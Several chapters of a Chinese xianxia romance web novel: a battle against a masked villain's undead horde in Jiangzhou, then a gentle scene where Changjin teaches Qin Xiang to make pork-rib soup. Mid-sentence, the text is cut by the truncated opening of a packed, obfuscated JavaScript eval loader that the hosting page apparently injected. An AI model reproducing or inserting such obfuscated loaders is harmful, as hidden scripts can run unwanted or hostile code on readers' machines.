周楚闵道:“其他修士无事,不过云雾宗的修士却忽然全部暴毙,很多修士见状不妙,早已跑的跑散的散,乔玉洲先行护送伯母离开了,等安置好伯母之后就会立即回来相助。” “好,好好好。”乔修远闻言,一颗心也算是落到了肚子中。 秦湘看着周楚闵身旁的沈清桐,急道,“清桐姐姐,你为什么不跟乔伯母他们一同先离开,这里这么危险,你不该来的,要是受伤了怎么办?” “我担心你们,”沈清桐也急忙道,“我会医术,过来了总能帮上忙的。” 周楚闵看着不远处战在一起的长锦与黑衣人,心中也发慌,又急道,“所以这里到底发生了什么事?那些要了云雾宗所有人命的绿色丝网到底是什么?阿湘你不是说凶手可能是林秋月吗?那和席清长老打在一起的那个黑衣人是谁啊?” 秦湘也抬头看向天际,长锦的攻势迅猛,那黑衣人毕竟还是人,时间一长,就已有些招架不住了。她收回目光,将方才发生的那些事情简单地与周楚闵说了下,听完之后,周楚闵与沈清桐对视一眼,满脸都是震惊,他喃喃道:“那就是这一切的幕后主使吗?” “好了,”比起他们来,秦叙要镇定得多,他目光自周边扫过,看着身边不少因为承受不住这等压力的修士倒地哀嚎,掌心挥出几道结界,将他们护在其中,而后果断道,“先不要聊了,那个人交给席清长老去对付就行了,我们先将这些修士拉进结界里再说吧。” 众人闻言连忙收住话头,也不再多谈,纷纷开着结界,将那些瘫倒在地的修士们一一护在结界之中。 与此同时,长锦与黑衣人的交战也逐渐到达白热段,见长锦一剑劈来,黑衣人躲避不及,电光火石之间,他嘴角一笑,将右手挟住的林秋月猛然提至身前,长锦心中一怔,怕伤及无辜,于是骤然收剑,及时撤势。 见他撤势,那黑衣人掌中凝聚一团黑气,朝着长锦袭去。长锦目光中的寒意越来越盛,他挥剑一斩,渡天神火也凭空而出,黑气与火焰在空中相接,余波扫荡四方。 长锦眉头紧皱,咬牙恨道:“卑鄙无耻之徒!” “多谢夸奖,不管是卑鄙还是无耻,长锦神君你没办法动我就是了,”黑衣人桀然笑着,五指也渐渐攀上林秋月的脖颈,“你若是敢再上前一步,我保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当真疯了!”长锦只觉得怒火从心中烧起,他再也忍不住了。话音一落,渡天神火在他身旁凭空而出,他抬起手中的渡天长剑,随着手指擦过,渡天神火也一寸一寸地盘旋席卷上了剑身。 剑风夹杂着火焰,劈开长夜,朝着黑衣人斩落。那黑衣人抬起手掌,一团黑雾在他手心悠悠地漂浮着,随着他甩手一挥,那团黑雾瞬间散化成了无数团一模一样的黑雾,朝着四周迅速散开。 那些黑雾如同有生命般,朝着地上倒着的云雾宗修士飞奔而去,它们慢慢地融入了那些失去了魂魄的云雾宗修士的身体之中,原本死去的尸体便蓦然睁眼,双瞳之中也闪烁着红光。 离他们最近的便是贺景文与贺氏夫妇的尸首。被唤醒后的他们目光凶狠,嘴角流涎,身形速度也比生前要迅猛得多。只一瞬,便一马当先,朝着长锦扑杀而来。 “嗤!”长剑斩断皮肉的声音尖锐且清晰,这一剑挟裹的灵力强悍,将飞扑上来的三具死尸纷纷击落在地。然而不出片刻,他们却又扭曲挣扎着站了起来,然后转悠着目光,扬着利爪朝着长锦猛然掠来。 与此同时,四周复活了的死尸也越来越多,他们纷纷抬头,也密密麻麻地朝着长锦奔涌而来。 虽然弱,但是缠人。长锦皱了皱眉,看着面前如潮水般涌来的死尸,足尖一点,长身掠开,御风漂浮在了半空之中,他收了渡天剑,抬手结印,瞬息之间,渡天神火席卷开来,将底下的死尸尽数吞没,须臾之间,便化为了灰烬。 那黑衣人站在光柱之中,看着在在长锦手下化为了灰烬彻底灰飞烟灭的死尸,气定神闲地微笑道,“神君的渡天神火果然名不虚传呐,不过,你能杀得了这些,你又能杀得了那些吗?” 他指向了一个方向,那是云雾宗外面茳洲城的方向,“从魔气控制了他们的那一刻起,云雾宗的死尸就已迅速涌向了茳洲城内的每个方向。”他说着,又抬起手,一团黑色的雾气萦绕在他的掌心上下漂浮,他反手一送,那雾气顿时扩大了几十上百倍,在这平野之上迅速蔓延。 长锦心中一惊,连忙结印,金色光华从他指尖跃出,凝成了一道巨大的结界将那雾气迅速笼罩在其中,与外界阻隔开来。 “这魔气与他们可是同理连枝的,神君你若是不能将它们同时消灭,后果可是不堪设想呐,”那黑衣人狞笑着,“我好心提醒你一下吧,你若是将这些魔气在结界之中消灭,那那些出逃在茳洲城内的死尸就会瞬间暴起,魔气更甚,到时候死的就不止是一个云雾宗了,等他们杀完茳洲城中的人,便会继续向外逃,见人杀之。” “而你若是放开这个结界,去阻止那些城中的死尸,那这些魔气便会瞬间四溢,进入到每一具尸体之中。当然,我相信以长锦神君的能力,你也可以选择直接释放一次大规模的渡天神火,直接席卷整个茳洲城,这样,所有的一切就都解决了。不过,你能这么做吗?放弃整个茳洲城的百姓,你做的到吗?哈哈哈哈哈哈!” 那黑衣人笑着,挥手又甩出几道魔气,然后抓着林秋月,飞掠至那蓝色光柱面前,在那蓝色光柱消失前,他微笑着朝着长锦说了最后一句话,“言尽于此,选择在你。好了,神君,我就不陪你玩了,咱们后会有期。” 79.渡天神火 话音一落,天空中的那道蓝色光柱带着那神秘的黑衣人与林秋月,一起消失在了众人面前。 几乎是同一时间,那黑衣人临走前留下的魔气迅速朝着地面上的众人席卷而去,如果说那时候的魔气只能控制死尸,让他们成为行尸走肉,那现在这些,便能直接控制活人,它们犹如被放出牢笼的恶鬼,飞速地朝着那些受伤的修士奔涌而去。 人群里爆发出了一阵尖叫,几乎是瞬间就如鸟兽散,惊恐的气氛一下就渲染了开来。若只是死尸他们尚且还能对付,可是这魔气就是一团黑色云烟,普通术法对它压根没有用,那魔气飞涌的速度极快,不多时,四面八方都是修士被魔气缠绕上的尖叫声,哀嚎遍野。 长锦看着这个情形,心下大震,连忙分出一只手来,一手努力撑着原本禁锢着那不断膨胀的魔气的结界,一手抬起释放出灵力。无数金色神光从他掌心跃起,然后朝着那些黑色云烟快速袭去,那金光甫一接触到那黑色云烟,便倏然凝成了一个一个的金色球形结界,将天空中飞涌的那些魔气全部容纳其中。 长锦再翻手五指做爪,凌空一抓,那些金色结界慢慢融合在了一起,形成了一个硕大的球形结界悬浮在半空中,至此,所有的魔气便被两个金色结界一左一右地控制在了他的手中。 他稍稍松了一口气下来,又皱着眉头望向远方,魔气问题暂且是解决了,但是城中那些死尸又当如何。 茳洲城中此时也是灯火万盏全亮,从云雾宗中逃离出去的死尸正在城中肆掠。 城中百姓以往这个时辰早该歇息,可今夜,云雾宗突发变故,天降异象。原本早该歇息的他们纷纷从家中走出,抬头望着天空中的异象。 还未看清什么,就见一群身着金色劲装的人浩浩汤汤以极快的速度朝他们疾掠而来,他们身手极快,转眼便到了众人面前。此时,他们也终于看清,那是云雾宗的弟子,不过,却和以往他们见过的都有所不同,他们各各脸色青白,亮着一双血红的眼睛,他们缓缓抬起脸来,看着面前的活人,露出一个血气森森的笑容来—— “啊啊啊啊!!”人群中不知是谁先哆嗦着尖叫起来,“死人!都是死人!!” “跑啊!!”“爹爹,娘亲!!”“快跑啊!!”“啊啊啊啊啊!!” 人群中一阵手忙脚乱,所有人脸上的血色霎时间通通褪得干干净净,顿时都四下散开狂奔起来,可他们跑的速度哪里会有修仙的修士快?那些修士也只愣怔了一瞬,便扬着利爪尖叫嘶吼着朝着他们飞扑过去! 鲜血四溅,哭声,喊声,尖叫声,响彻云霄!! 平野之上,此时也正在进行着一场鏖战,原本众修士还在开着结界保护着那些修为较低受灵气余波影响而受伤的修士。可突如其来的,身旁的云雾宗死尸却忽然扭曲着爬起,亮着一双闪烁着血光的眼睛,嗥叫着朝着众人涌来。 秦湘用灵力轰开了面前朝她飞扑上来的几具修士死尸,然后朝着另一边混战着的秦叙周楚闵走去,沈清桐不会攻伐之术,此时正站在众人所布置的御守结界中,为那些受伤的修士们疗伤。 “爹爹,师兄,乔伯父!” “阿湘,”秦叙此时正与几具死尸缠斗,听见秦湘的声音,他挥动手中沉重的黑刀,将些死尸尽数劈开后,才回头去望她,“怎么了?” “这死尸用普通的方法根本杀不死,他们会无限复活,再这样下去,我们的体力再甚也会被消耗光的,”秦湘望着不远处的茳洲城,那边哭喊声一片,她皱着眉头收回目光,焦急道,“而且还有很多死尸已经涌入城内,城中百姓需要我们保护。” 周楚闵也紧蹙眉毛暗骂一声,手中发狠,一剑捅穿了三只死尸,然后一脚将他们猛地踹倒在地,“涌入城内还不算,我看他们见人杀之,到时候若是再涌向其他城镇事情就会变得更棘手。” 秦叙沉吟片刻,立即决断道:“那就先开启两层结界,一层在内部笼罩云雾宗,阻止这里剩下的死尸再出去,再在茳洲城上方笼罩一层外部结界,切断城中的死尸向其他城镇奔走的路线。” “我带人去开启外层结界吧,千机阁的弟子们还在,有他们助阵,一定能将那群死尸拦下,”乔修远道,“至于内层结界那就交由秦兄你了。” “爹,外层结界交由我吧,”一个声音在身后响起,众人闻声朝着那边看去,是乔玉洲,他挥剑斩开几具死尸,落在众人身旁,沉声道,“外层结界交由我,爹你带人将这些受伤的修士和城中受伤的百姓们先转移出去吧,娘那边我已经安置妥当了,无须担心。” 在结界之术的造诣上,当儿子的还是比当老子的要熟稔些,且外层结界比内层结界范围要更大更广,所需的灵力自是要更多,所以由乔玉洲来自是再好不过。 不过在医术修为上,乔修远就比乔玉洲要略胜了不知多少筹,毕竟多吃了二十几年的饭,所以由他照看护送那些受伤的修士与城中百姓,确实是最好的选择。 乔修远点点头,应声道:“行,那玉洲你就好好听你秦伯父安排。” 秦叙朝着另一边御守结界中的沈清桐说道,“清桐,你也先跟着乔兄先走,这里太危险了。” 周楚闵也抬眼看向她,焦急道:“是啊,清桐你跟着乔伯父先离开吧。” 此时情况危及,如果伤员转移了,那她确实没有留在这里的必要,所以沈清桐也只思量了一瞬,便立即点头答应,“好,那楚闵阿湘掌门你们多加小心。” 这边几人决定好后,便立即行动了起来,转眼,便只剩下秦叙秦湘与周楚闵三人还伫立在原地。秦湘抬头看了一眼不远处的长锦,他正虚浮在半空之中,手中控制着两团巨大的魔气,底下的死尸纷纷抬头,扬着利爪,朝着他飞掠而上,而渡天剑也飘荡在他周围,正一波一波地将那些飞涌而上的死尸又一波一波地打了回去。 秦湘深吸一口气,朝着面前的两人道:“爹爹,你先带人去开启内层结界,不能再让他们出去了,师兄你再带一些还能战的人去城中保护百姓,我去神君那里看看,看有什么法子能解决掉这群死尸,然后我再过来帮你。” “好,那就先这么办,你去问问席清长老看有什么办法没有,我先去救人,有什么事情用传音术或者扩音术跟我们说,万事小心,注意安全。” “好,那我先过去了,你们也是,万事小心。” 说罢,秦湘也不敢再耽误时间了。烈云剑开道,剑气轰开了一大片围拥而上的尸群,她飞身闪起,转眼之间便到了长锦身边,“神君!” 结界中的魔气正在暴走,长锦手中金光更甚,朝着身旁的两个结界涌去,有了更多灵力的加持,那结界的光芒也不断地变亮,与困在其中的魔气互相胶着抗争着。 看见秦湘,他一怔,连忙问道:“怎么样了?云雾宗的死尸与城中的百姓?” “爹爹和乔玉洲会开双层结界,将这些死尸阻断在云雾宗与茳洲城中,清桐姐姐与乔伯父也带人转移了受伤的修士与百姓,师兄正在城中保护百姓。不过这些死尸就与我们当初在苍龙山看见的那种是一样的,用普通方法根本杀不死。” 长锦焦急道:“渡天神火可以杀死他们,不过必须与结界中的魔气同时一起消灭才行,你告诉掌门他们,想办法把城中的死尸全部驱赶回内层结界,然后所有修士再全部撤退出云雾宗中,届时我会在内层结界中释放出渡天神火,将他们与魔气一同消灭。” “好,我知道了,”秦湘应了,看着四周还在不断朝着长锦飞涌而上的死尸,尽管知道长锦的实力是毋庸置疑的,无须担心这些死尸对他造成什么伤害,最多就是缠人麻烦了些。但最后她还是挥手甩下了一道御守结界将长锦护在其中,低声道,“那神君你自己小心些,我走了。” “嗯,走吧,你也是,要保护好自己。” 秦湘一边走,一边用传音术将这边的情况告诉了秦叙与周楚闵等人。秦叙毕竟是一派之主,由他出面说话自然要好得多,于是他一边御剑开着内层结界,一边用扩音术将长锦说的话又传述给了茳洲城中所有的修士,众修士闻言,也纷纷从云雾宗中退了出去,朝着城中涌去。 茳洲城中此时正是一片混乱,四处狂奔躲藏着的百姓,杀红了眼反反复复死而复生的死尸,被死尸杀死又起尸加入战局的死尸,还有逆行着冲上前去对抗死尸和疏散百姓的众修士…… 人群混乱,自顾不暇。大街上,一个小孩与父母被人群冲散,父母哭喊着被蜂拥而至的人潮浪涌推着往前挤,小孩被推倒在地上,双腿发软,压根站不起来,只能不住地坐在原地放声哭泣。 “阿爹,阿娘,我害怕,我害怕……” 他的哭声吸引来了藏在黑暗中的妖邪死尸,长街上,几具倒地的尸体手指微微抽动,紧闭的双眼蓦地睁开,眼珠子骨碌碌地转动着。随着“咔嚓”几声骨头移位错接的声音响起,他们喉间也发出了一种类似于兽类的低沉嗥叫声,旋即,猛然起尸。 “啊啊啊啊!!阿爹!阿娘!!”小孩儿被眼前的景象吓得一怔,放声大叫起来。 小孩儿不断后退,死尸缓缓向前,然后张开血盆大口,弓起身子,疾掠而上。眼见着那小孩儿即将死于死尸的利爪之下,一柄长剑却猛地挑开了飞扑而上的几只 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“我没事。”周楚闵咬着牙,神情狠戾地看了肩膀上的那僵尸头一眼。半晌,手中聚集灵力朝它狠狠地一拍,生生地将它的头骨盖一巴掌拍得稀碎,鲜血直飙。 秦湘看着他血肉模糊的肩膀,眼眶瞬间也红了。那僵尸的牙齿含有尸毒,周楚闵被它这么咬了一口,肩膀上也是黑血凝固,自从经历了阿娘那样的事情之后,她对毒真的就是犹如刻进了骨子里的害怕,一朝被蛇咬,十年怕井绳。 她将怀中的小孩放下,赶紧在腰间系着的收纳锦囊中翻找着药物,连声音都是颤抖着的,“这个有毒,师兄你得尽快解毒,清桐姐姐给我的解毒丸,你快吃,快吃两粒。” 周楚闵看着她眼中的泪水,也知道她心中所惧,伸手拍了拍她,又从她手中接过那两粒小小的解毒丸吞下,“放心吧,这个毒不严重,我不会有事的。” “喂,你俩没事吧?”乔玉洲不知什么时候来了,挥手斩杀了周围的一圈死尸,然后落到了两人身边。看着周楚闵肩膀的伤,他脸上神情一变,立即拂袖抬手,掌中凝聚蓝色的光辉,朝着他的伤口拂了过去,待光辉完全融入他的皮肤肌理,那伤口也完好如初了。 “多谢,”周楚闵活动了一下肩膀,顿了顿,道,“不过你怎么来了?你不是在守外层结界吗?” “千机阁的人能守住那结界,”乔玉洲道,“那边暂时不需要我,所以我过来帮忙。” “行,那我们就赶紧行动起来吧,把这些死尸全部赶回云雾宗去。”周楚闵点头道,又转头看向秦湘,目光中带着关切,“阿湘……” “我没事,”秦湘擦了擦眼睛,看着周楚闵没事,她一颗心也算是放心了肚子中了,收敛了一下情绪,她摸了摸身旁还在惶惶不安的孩子,“你也别怕,我带你去找你的阿爹阿娘。” 几人稍作收整了一下,便抱着那小孩儿,提着长剑,飞身朝着城中其他街头小巷中掠去。 这些死尸中虽然大部分是云雾宗弟子起尸,战力不弱,但留下的众修士除了在维持内外两层结界的,其余所有战力几乎都在茳洲城内,参与了这场围猎。众人齐心协力,没多过久,便将这城中所有的死尸都逼回了云雾宗内。 看着最后一个死尸被踹进内层结界中,秦叙连忙用扩音术大喊道,“所有人,全部退出内层结界,不要停留在这里,退到茳洲城中去!!”看着众人陆陆续续地全部退到了安全距离,他才转回了头,又朝着结界内的长锦大喊道:“席清长老!” 长锦接收到了他的讯号,抬眼朝着下方看去,地面上密密麻麻地站满了眼冒红光的死尸,他们仰着头,看着长锦,那是这结界之中唯一的活人。长锦皱了皱眉头,双手猛地撤回,刹那间那两个禁锢魔气的结界爆发出了一阵强烈的金光,随即破碎。 那两团已经弥漫扩长到了巨大的魔气一被放出,便瞬间朝着地面上的死尸飞涌而去,迫不及待地融入了它们的身体之中,吸收了魔气之后的死尸更加剧烈地暴动起来,它们眼中精光更盛,嘶吼声在空旷的原野之上此起彼伏,令人生寒。 长锦虚虚立于半空之中,随着他手中结印,无数火流在他身旁应召而出。而他站在火光里,衣袂飘飘,随着他双手一召开,渡天神火迅速席卷了开来,以长锦为中心,火光一掀数百丈之高,刹那间便席卷过了云雾宗中的每一个角落,将地面上所有的死尸魔气全部吞噬其中。 霎那间,无论是那魔气也好,还是地下那乌泱泱的尸群也罢,都在这通红的火焰中,随着云雾宗百年的辉煌与落寞一起—— 灰飞烟灭。 80.贤神为师 众人回到腾岳之巅,已是三天后的事情了。 修仙界中谁也没想到,这次去参加的一场婚宴,到最后会发展成这样。云雾宗直接灭门,飞羽门林秋月又至今下落不明,新上任的飞羽门门主凌川受伤严重,被弟子带回飞羽门后便陷入了疯狂的执念之中,日日夜夜都在查找着林秋月的消息。 最主要的还得是那幕后之人,经此一遭,修仙界各大小门派仙门百家皆是惴惴不安,按照那人的说法,只要能提取出来林秋月身上的万千魂体之力,就离他放出魔主重开厄运之门不远了。所有人心中的不安都被无限放大,不用再多说什么,便自发地开始彻查修仙界内的一切异样情况了。 因此,这段时间,秦叙与明萧长老也越发地忙了起来了,来来回回不知参加了多少个修仙界各大小门派的各种集议商讨了,可惜,讨论来讨论去,终究是一无所获。 长锦虽然面上不显神色,但心中也隐隐有着几分不安,若是魔主破开了妖魔镜的封印,完全成型降临于世间,再放出厄运之门中的万千邪魔,以他现在的能力,真的能将他们悉数打败吗? 不管怎样,也得先想个办法提前做个准备才行。 于是这一日,他盘坐于西院院中,将渡天剑召了出来,渡天剑悬浮在他的面前,悠悠地上下飘动着,他双手结印,金光由他两手之间蓦然亮起,随着他凌空一点,所有的光芒便沿着他的指尖尽数融入了面前的渡天长剑剑身之中。 待所有的光芒都被吸入剑中,他才掌心向下缓缓地收了下去,半晌,垂眸看向面前的剑,伸手在它的剑柄处轻轻地抚摸了两下,轻声道:“渡天,厄运之门就拜托你先帮我照看下。” 渡天长剑听见了主人的话,也轻轻地晃动了一下剑身,发又出了一阵低鸣声,似是应允。 看着它的模样,长锦也微微地笑了一下,然后又摸了两下,“好了,去吧。” 话音一落,渡天长剑微微点了一点,又绕着主人飞转了一圈,这才化成了一道金色流星,朝着天际飞去,不过须臾,便消失于万里重云之间。 做完了这一切,院中的门扉就被人敲响了,是秦湘在外面,“神君?我进来啦。” 长锦闻声一怔,起身前去开门,一把将门拉开,秦湘就静静地站在他面前,笑容浅浅,手中还提着一只小食盒。 “你怎么来了?”长锦也笑着看向她,又看了看她手中的小食盒,“这里提的是什么?” “给师兄做的粥,不过师兄嫌弃不好喝,我做菜有这么差吗?避之不及四个大字简直就像是写在了他的脸上。”秦湘叹了口气,走了进来,在院中的石桌旁坐下。 “为什么会突然想着给他做粥喝?” “前些天在茳洲城围猎丧尸的时候,师兄替我挡了一下,被那僵尸咬了一口,所以就想着要为师兄做点什么才好。” 虽然周楚闵当时便已及时服用了解毒丸,乔玉洲又恰好出现,用了愈疗术将他整个治好了,但后来秦湘回想起来,还总是觉得不大行,于是便问了鸿英长老,中毒的人适合吃些什么,总想着要亲手为他做些什么,可是她的师兄,从小到大什么都允着她。 唯独在做吃的这件事上,拒绝地干净利索。 想着方才周楚闵看见她这碗粥时的神情,秦湘还有些心梗,她叹口气道:“神君,我做的吃的真的有这么难吃吗?为什么我觉得还好啊,能吃啊。” “我也觉得还好啊,很不错。”长锦也在她身边坐下,笑吟吟地看着她,“上次掌门开了你在云隐村酿的那壶酒,我喝过一杯,就做得很不错,你那么聪明,想做什么肯定一学就会。” 闻言,秦湘暗下去的眼神忽地一下便亮了起来,追问道:“真的?” “真的,”长锦摸了摸她的头,“我什么时候骗过你,掌门也说不错呢,不信你可以问问他。” “我肯定相信神君你不会骗我的,”听到这话,秦湘顿了顿,忽然,脑中灵光一闪。她又将长锦的手从头顶上拿下,握在手中,眨眨眼道:“对了,神君你之前不是说要教我做菜吗?择日不如撞日,要不就今天吧。” 长锦一怔,沉默片刻,旋即笑道:“可以啊,你想学什么?” 秦湘又惊又喜,问道:“我想学什么神君你都会做吗?” 长锦想到了前段时间在藏书阁借来的那两本《巴陵食谱记》刚好看完,于是便答道:“应该是可以的,所以说来听听,你想学什么?” “嗯,鸿英长老说,师兄这段时间最好吃点清淡些的,”秦湘思忖了一会儿,道,“要不就炖个胡萝卜玉米排骨汤吧?这个神君你会吗?” “不难,不过这些材料有吗?没有可能要去镇上买,现在下山还来得及吗?快要午时了吧?” “不用不用,哪里还需要下山去镇上买,”秦湘摆摆手,“直接去云隆堂找陈伯伯那就是了,他肯定有。”说罢,她兴致勃勃地站起身来,一手提着那个小食盒,一手拉着长锦,“走吧走吧,神君,我们现在就去。” 一路拉着长锦来到云隆堂,云隆堂的伙计此时也正在忙活着中午的饭菜。秦湘猫着腰,三两下便在一堆伙计中找到了正在分拣蔬菜的陈大师傅,她走过去,脆生生地喊了句,“陈伯伯。” 陈师傅闻声抬眼,回头一看,看见秦湘,一脸惊奇,“阿湘,你怎么来了?还没到开饭时间呢?” “不是,我是想问问陈伯伯你这里有没有胡萝卜玉米和排骨啊,我想做个汤。” “有倒是有,不过今天中午是海带排骨汤,”陈师傅一下还没听懂秦湘的意思,以为她是想喝玉米排骨汤,“玉米排骨汤晚上才会做,阿湘要是想喝的话也要等到晚上了。” 秦湘一顿,连忙摆手道:“没关系没关系,我不是这个意思,我的意思是如果陈伯伯你这里有这三样食材的话能不能给我些,我想自己煲个汤。” 听到这儿,陈师傅也总算是明白过来了,他先是一愣,然后才是不可置信地问道:“阿湘,是陈伯伯做的的饭菜煲的汤不好吃吗?怎么想着要自己做?” “不是不是,”秦湘急忙摇头摆手,唯恐他误会,又怕他伤心,毕竟陈师傅出品的菜式还从来没有人说过不好吃呢,“陈伯伯你做的菜可是得到过认证的,怎么可能不好吃,是因为师兄为了保护我受了点小伤,所以我就想着自己动手给他做点吃的去,绝对不是说陈伯伯你做的不好的意思。” “原来如此,”陈师傅若有所思地点点头,“那阿湘你站这儿等我会儿,我去给你拿。”他说着,抬手拿过一旁案板上的一只竹篮子,就转身进了伙房,等再出来之时,篮子中已经满满当当地装满了一筐子食材。 他将篮子递给秦湘,笑嘻嘻地给她指着篮子中的一扇排骨介绍道:“这根后排肉多个头大,肉质紧实,肥瘦相间,阿湘你用来炖汤再好不过了。” 秦湘不懂这些,她接过篮子,挠挠头,迷迷登登地问道:“还有这种说法吗?不都是排骨吗?” “哎哟喂,这里面学问可就大了,我给你说说,”陈师傅一拍大腿,说起这个就来劲,他笑道,“这前排呀,就是靠近猪颈或者猪前腿部位的排骨,骨头多肉少,多的还是脆骨,口感鲜嫩,就适合用来做红烧清蒸糖醋或者生炒;至于这后排嘛,就是指靠近猪尾巴附近的排骨,肉多骨头少,个头也比前排要大,一般是一根大骨带着一块肉,骨髓丰富,特别适合煲汤,煮出来的汤绝对是香浓又滋补。” “原来是这样,”秦湘看着篮子中那扇大排骨,一顿,又抬起脸来朝着面前的陈师傅笑了笑,“受教了。” “嗳,这有啥的,下次阿湘你还想要什么,尽管来找我就是了,我保证给你挑的都是最好的。” “好,谢谢陈伯伯,”秦湘微笑着道谢,“那我就先不打扰你了,你先忙,我先走了。” “好,走吧走吧,”陈师傅挥挥手,顿了顿,又道,“哦,对了,如果阿湘你以后有什么想学的菜式也可以来找我,我绝对会知无不言言无不尽,把我会的全部教给你的。” 闻言,秦湘一怔,随着莞尔一笑:“好,那就先谢过陈伯伯了。” 走出云隆堂,长锦正站在门口等她,路边有三三两两结伴经过的弟子,看见席清长老站在那儿,先是怔了一怔,旋即走上前来,与他抱拳行礼问安,长锦便也微笑着点头回好。 秦湘脚步一顿,站在原地,看着长锦与人相处得越来越自然,她心底里也由衷地感到高兴。又静静地看了一会儿,直到那几个弟子问完安离去,她才抬脚走了过去,拍了拍他的肩。 长锦回过身来,看见是她,便笑道:“要到食材了?” “肯定的,”秦湘将那篮子提了起来,抱在怀中,指给长锦看,“陈伯伯给的都是特别好的菜,特别新鲜。走吧走吧,我带神君你去我的秘密厨房,刚好这几天找爹爹拿了钥匙。” 两人并肩而行,走在林间小道上,长锦好奇地问道:“为什么还要找掌门拿钥匙?之前那个厨房不开放吗?” “也开,那厨房其实是爹爹的小厨房啦,爹爹做菜很好吃的,我阿娘做菜也好吃,可是我却连那么一小点点的厨艺都没继承到,”秦湘说到这儿,自己也忍不住想笑,“偏生呢,我不会什么还越想做什么。因为之前做饭菜太难吃了,爹爹就把厨房给锁了,严令禁止我进厨房。说起来还是承了神君你的情,爹爹才把厨房开放给我用的。” “嗯?”长锦闻言,颇为意外地转 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“是,先要洗干净。”长锦从案板上拿过了两个盆,将篮子中的玉米胡萝卜与排骨分拣了出来,拣完了后,却发现筐子底下还铺着一层小小黄黄鸡蛋大小的东西,他拿起一个来,左右看了两眼,“这是什么?” 秦湘见他的动作,噢了一声,笑道:“神君你应该没见过这东西,这是陈伯伯给我的,小土豆儿,等下生好火之后可以直接放在火炉子里烤,就跟当初我们在云隐村烤糍粑那样,也很好吃。” 长锦了然地点点头,将那小土豆儿又放回了篮子中,然后一起端了起来,“那一起拿出去洗了吧。” 两人抱着食材一起来到水井边,洗完了菜后,便分工合作,长锦站在案桌旁切菜备菜,秦湘就坐在灶台前捡柴生火,很快,所有的准备工作都做好了。 秦湘站起身来,看着长锦舀了几勺凉水冲进了锅中,便问道:“神君,直接放水嘛?不用先放油?” “还没到那一步呢,”长锦将那水瓢扔回了缸里,朝着秦湘招手道,“呐,好了,过来吧,我教你炖这个汤。” “好,来啦。”秦湘眼睛一亮,欢欢喜喜地跑上前,站到了他的身边。 “我们先要把排骨凉水下锅,再加入葱姜一起煮,这样才会过滤掉里面的血水,也能有效去除腥味。”长锦一边说着,一边将排骨和装着葱姜片的小碟递给站在锅边的秦湘,“你来吧,等水开了之后再把排骨捞出来,过一遍温水就可以和玉米一起丢进炖盅中炖了。” “好的。”秦湘点点头,有样学样,将长锦递过来的排骨与葱姜片一起下进了锅里。这边锅煮着排骨,那边锅烧着热水,不多时,水便咕噜咕噜地冒着泡泡翻腾了起来,秦湘连忙揭开锅盖,道,“神君,水开了,排骨熟了。” “把浮沫撇掉吧,然后再舀进这个盆里,”长锦也站在她身边,先拿了个漏勺递给她后,又转身去拿了个盆将方才烧好的热水兑了些冷水试了试水温,然后再递给她,“可以了,水温刚好,洗干净就可以放进炖盅里了。” “这有什么说法吗?”秦湘看着那盆温水,虚心求教道,“不能用冷水直接洗吗?” “用冷水的话会导致肉质变得粗糙,不细腻,炖出来的排骨汤自然就不好喝了。” “原来如此。”秦湘似懂非懂地点了点头,按照长锦的指示将锅中的排骨一一捞入了盆中,“那炖排骨汤其实也不难嘛,就这么两个步骤,过水,然后直接炖就是了。” 长锦站在一旁打着下手,闻言抬起头,笑道:“确实不难,主要是要注意细节处理方式,排骨要处理好,不然会腥,还有,炖汤一般情况下不需要另外放油,因为肉类本身就有油脂,煮熟了之后就会漂浮在汤上面,若是再另外放油,可能就会让这锅汤变得很油腻。” “好,那玉米和排骨可以同时下锅,”秦湘将洗好的玉米与排骨一起丢进了炖盅中,又指了指摆放在一旁的胡萝卜,“那这个胡萝卜要不要一起下锅呢?” “胡萝卜最后下,等玉米和排骨炖上一段时间后再中途下,不然会炖烂掉。”长锦一边说着,一边又端了一碟姜片过来,“再放些姜片吧,去腥的。” “好的。”秦湘放下手中的盘子,接过长锦递过来的碟子,拣了几片姜片一起丢了下去,然后又拿着水瓢舀了两勺水冲了下去。做完了一切后,盖上锅盖,双手合十转过身去,长锦已经将一旁乱七八糟的案板都收拾好了,各类锅碗瓢盆都已归类到了它们原本该呆的地方。 秦湘微微一愣,旋即夸赞道:“神君,你可真勤快。” 长锦也一怔,旋即笑了笑,将她拉到灶台旁边坐下,“好了,先坐会儿吧,现在就是等了。” 81.出师大捷 两人坐在灶台旁边,一边看着灶台里的火,一边聊天。秦湘拿着火钳将灶台中一开始烤的小土豆儿一个一个夹了出来,刚好夹完最后一个,一声“汪汪”便从门外传来,长锦抬头看了一眼,笑道:“六顿来了。” 闻言,秦湘也从灶台后面抬起一个脑袋来,朝着门口望去,站在门口的,不是六顿还是谁? 小奶狗抽身发条的速度是极快的,这小家伙已经在腾岳之巅生活了一个多月了,果真也是应了秦湘给它取的这个名字,这些天里,吃嘛嘛香,啥也不挑,才一个多月,便已经从一开始的小团子长成了两倍大团子了。 秦湘将手中装着土豆的盘子递给长锦,便站起身来朝着那边招了招手,又软乎乎亲腻腻地唤了一声,“呀~六顿六顿,过来,快过来让阿娘看看,你是不是又长大了呀?” “汪汪~”六顿汪汪了两声,便欢快地摇着尾巴朝着秦湘长锦跑了过来,秦湘张开双手,将它欢欢喜喜地接了个满怀,揉搓了两把后又抱起来看了看,“呀,好像又长大了点呢,是不是大老远就闻见了阿娘在做好吃的,所以你就跑来了?嗯?”她说着,又看向了长锦,“神君,你剥一下土豆的皮,撕掉那层皮就可以直接吃了,我刚刚摸了六顿,手上可能会有毛。” “好,”长锦伸手拣起盘中的一颗土豆,就开始剥皮了,烤好的土豆表面很脆很干,皮自然也很好撕,他剥了一颗,吹了吹,递到了秦湘的唇边,笑道,“吃吧,不烫了。” “一口吃不下,神君你先吃吧,”秦湘笑笑,“我等下再吃。” “没关系,等下冷掉了会不会不好吃了?我喂你,你就这么吃吧。” 秦湘一顿,心也蓦地紧了一瞬。虽然她可以直接拒绝,直接说,冷掉了其实也没什么关系,没有什么太大的影响的,但是看着长锦眼中的光亮与那点点丝毫没有掩藏住的炽热,她自然也就明白了长锦的意思。 于是她也就笑了笑,沉默片刻,大大方方地低下头去,就着他的手将他指尖攥着的那个土豆咬了一口,然后抬起头来,心满意足拉长声调地嗯了一声,“味道不错,绵软清香,好吃。” 